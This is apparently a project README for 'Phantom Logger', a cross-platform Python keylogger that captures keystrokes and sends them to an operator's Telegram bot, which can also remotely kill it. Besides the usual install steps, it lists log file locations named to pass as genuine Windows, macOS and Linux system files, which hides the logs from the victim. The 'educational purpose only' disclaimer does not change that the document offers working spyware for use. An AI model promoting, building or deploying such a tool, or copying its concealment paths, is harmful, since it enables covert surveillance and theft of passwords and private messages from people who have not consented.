Phantom Logger

A cross-platform keylogger written in Python that captures keyboard input and sends formatted logs to a Telegram bot on demand. This tool demonstrates keystroke logging capabilities across Windows, macOS, and Linux systems.

⚠️ Educational Purpose Only: This tool is designed for cybersecurity education and authorized penetration testing. Unauthorized use of keyloggers is illegal and unethical. Always obtain explicit permission before deploying this software.

Telegram Bot Commands

• /logs: send log in .txt format
• /status: send message to check Phantom Logger status
• /kill: destroy Phantom Logger

Platform-Specific Log Locations

• Windows: %LOCALAPPDATA%\Microsoft\Event Viewer\ExternalLogs.dat
• macOS: ~/Library/Caches/.com.apple.bird.plist
• Linux: ~/.cache/.fontconfig-timestamp.dat

Requirements

• Python 3.7+
• Telegram Bot Token (obtain from @BotFather)
• Telegram Chat ID

Installation

1. Clone repository

git clone https://github.com/RykerWilder/phantom-logger

2. Enter directory

cd phantom-logger

3. Create virtual environment and activate it

python3 -m venv venv

source venv/bin/activate

4. Install dependencies

pip3 install -r requirements.txt

Project Structure

phantom-logger/
├── main.py                   
├── modules/
│   ├── __init__.py           
│   ├── logger.py             
│   ├── telegram_bot.py       
│   ├── formatter.py          
│   └── utils.py              
├── build.sh                  
├── requirements.txt          
└── .env                                     

Disclaimer

The authors and contributors are not responsible for any misuse of this software. Users assume all legal and ethical responsibility for their actions.